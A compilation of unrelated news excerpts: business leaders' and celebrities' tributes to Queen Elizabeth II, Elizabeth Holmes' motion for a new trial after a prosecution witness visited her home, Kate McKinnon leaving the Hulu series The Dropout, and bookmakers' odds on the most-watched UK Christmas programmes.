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"Queen Elizabeth's stoicism and sense of duty was a calming and stabilising influence throughout the ups and downs of many tumultuous decades, and her devotion to the people of the UK and the Commonwealth was unconditional," he wrote on LinkedIn. "As Deputy Prime Minister and Lord President of the Privy Council, I had the great privilege of experiencing her wit and wisdom first hand. Today is a sad day for our country but her legacy will live on for many generations to come."

Apple CEO Tim Cook wrote that "there is nothing more noble than to devote your life to the service of others."

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There is nothing more noble than to devote your life to the service of others," Cook tweeted. "We stand with the people of the UK and Commonwealth in honoring the life and dedication to duty of her Majesty Queen Elizabeth II. May she rest in peace."

Microsoft cofounder Bill Gates said that he was "honored" to have met Queen Elizabeth II.

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"I feel honored to have met HM Queen Elizabeth, and I am very sad to hear of her passing," Gates tweeted. "My deepest condolences to the Royal Family and the British people."

Melinda French Gates, cofounder and cochair of The Gates Foundation, said that "Her Majesty's was a reign without equal."

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Melinda French Gates speaks onstage at a February 2019 event.

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"Spanning nearly three-quarters of a century — and a world transformed many times over — Her Majesty's was a reign without equal," Gates wrote on LinkedIn. "I will cherish the kindnesses that Queen Elizabeth II extended to our family and the remarkable leadership, resilience, and example she showed us all." 

Bob Iger, former Disney CEO and chairman, said that he "always respected and appreciated her energy, dedication, fortitude …"

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Walt Disney former CEO and Chairman Robert Iger speaks onstage during Vox Media's 2022 Code Conference.

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"The world has lost an extraordinary person, Queen Elizabeth," Iger tweeted. "I always respected and appreciated her energy, dedication, fortitude…her deep sense of duty….and the fact that she loved her job and her people loved her back. The true and sad end of an era…."

Jake Paul, a social-media personality and founder of the sports-betting app Betr, tweeted "dignity defined" in response.

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Dignity defined," Paul said. "An inspirational leader for many generations. Rest In Peace Queen Elizabeth II."

Sundar Pichai, CEO of Google and its parent company Alphabet, said that the Queen "will be missed."

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"Sending our deepest condolences to the people of the UK and around the world mourning the passing of Queen Elizabeth II," Pichai said. "Her steadfast leadership and public service have been a constant through many of our lifetimes. She will be missed."

Harry Potter creator JK Rowling, the first billionaire author, said that she "earned her rest."

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"Some may find the outpouring of British shock and grief at this moment quaint or odd, but millions felt affection and respect for the woman who uncomplainingly filled her constitutional role for seventy years," Rowling tweeted.

She added: "Most British people have never known another monarch, so she's been a thread winding through all our lives. She did her duty by the country right up until her dying hours, and became an enduring, positive symbol of Britain all over the world. She's earned her rest."

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  • Elizabeth Holmes has requested a new trial. She was convicted of fraud and conspiracy in a months-long trial that ended in January.
  • Her partner, Billy Evans, says one of the government's star witnesses showed up at their house last month, saying he was losing sleep over his testimony.
  • Last week, the judge in Holmes' case tentatively denied her prior request to toss her conviction.

Elizabeth Holmes is trying to ditch her guilty verdict, and a key witness in her trial may have just given her some ammo in that fight.

On Tuesday, the Theranos founder filed a motion requesting a new trial based on "newly discovered evidence." Holmes had been convicted on counts of fraud and conspiracy in January.

According to the motion, Adam Rosendorff, who was Theranos' lab director from April 2013 to November 2014 and a key witness for the prosecution in Holmes' trial, made attempts to contact her last month, expressing regret about his testimony against her.

On August 8, Rosendorff left a voicemail for Holmes' attorney, Lance Wade. In it, he asked to see Holmes, saying such a meeting would be "quite healing" for both of them. Later that day, Rosendorff showed up at Holmes' house, according to an account of the incident from Billy Evans, Holmes' partner.

"My first thought was he was lost, he looked disheveled," Evans recalled in an email to three of Holmes' attorneys, filed with the motion, that documents their interaction. "His hair was untucked, his hair was messy, his voice slightly trembled."

Evans said Rosendorff kept asking to speak with Holmes. 

Evans wrote of his encounter with Rosendorff: "He said he feels guilty, it seemed like he was hurting. He said when he was called as a witness he tried to answer the questions honestly but that the prosecutors tried to make everybody look bad (in the company). He said that the government made things sound worse than they were when he was up on the stand during his testimony. He said he felt like he had done something wrong. And that this was weighing on him, He said he was having trouble sleeping."

Rosendorff remarked that he and Holmes were friends, and he wanted to help her, according to Evans' email.

"He said Theranos was early in his and her career, that he had just finished residency, and that everyone was working so hard to do something good and meaningful," Evans recalled. "He said that everyone was just doing the best they could."

Based on the new development, Holmes' team wants a new trial or an evidentiary hearing where Rosendorff would be subpoenaed to "testify about his concerns."

The new motion comes just days after the judge in Holmes' case tentatively denied her request to throw out her conviction on the grounds of "insufficient evidence."

During Holmes' trial, Rosendorff had testified that he'd tried to delay the launch of Theranos' machines for patient use because they produced inaccurate results, but Holmes went ahead with it anyway.

He also said he was asked to come up with "reasons other than test performance" to explain unusual test results and that Theranos had no formal proficiency testing protocol.

During the trial, the court saw an email Rosendorff had sent Holmes in November 2014, in which he wrote, "I feel really uncomfortable with what is happening right now in this company. I am feeling pressured to vouch for results that I cannot be confident in."

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Kate McKinnon will no longer be stepping into the role of disgraced Theranos founder Elizabeth Holmes, our sister site Deadline reports.

The Saturday Night Live staple was set to play Holmes in The Dropout, a Hulu limited series based on the ABC News podcast of the same name. The project, which snagged a series order in April 2019, will reportedly continue with a new actress in the role. McKinnon was also attached as an executive producer.

Once billed as the next Steve Jobs, Holmes founded a privately held health technology company called Theranos in 2003 when she was just 19 years old. By 2013, the company — which claimed to have developed more accurate blood tests that required less blood than traditional exams — was worth about $ 10 billion, but a series of reports and scandals eventually exposed Theranos as a scam.

ABC News describes its podcast as follows: “The story of Elizabeth Holmes and Theranos is an unbelievable tale of ambition and fame gone terribly wrong. How did the world’s youngest self-made female billionaire lose it all in the blink of an eye? How did the woman once heralded as ‘the next Steve Jobs’ find herself facing criminal charges — to which she pleaded not guilty — and up to 20 years in jail? How did her technology, meant to revolutionize healthcare, potentially put millions of patients at risk? And how did so many smart people get it so wrong along the way?”

Are you disappointed that McKinnon won’t be playing Holmes? (Don’t worry, she’s still playing Carole Baskin!) Whatever’s on your mind, drop it in a comment below.

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Bookmakers Betfair have revealed the comedy series is favourite to be the third most watched show being the Queen’s Speech and Call the Midwife.

Spokesman Sam Rosbottom said: “Her Majesty usually draws a winning audience regardless, but after such a difficult year, it stands to reason that millions will tune in to be cheered by the Queen’s message of hope for 2021, which is why she’s one of the shortest favourites in years at 8/13 for the most watched Christmas programme.

“However, the immensely popular Call the Midwife at 15/8 isn’t too far behind Queen Elizabeth.

“Watch out for dark horse in the form of the Strictly Christmas Special, with some of the highlights of the show’s 20 years on air sure to charm viewers on Christmas Day when more television than ever before will be watched by the British public.”

Mrs Brown’s Boys: Mammy of the People airs Christmas Day at 10pm.

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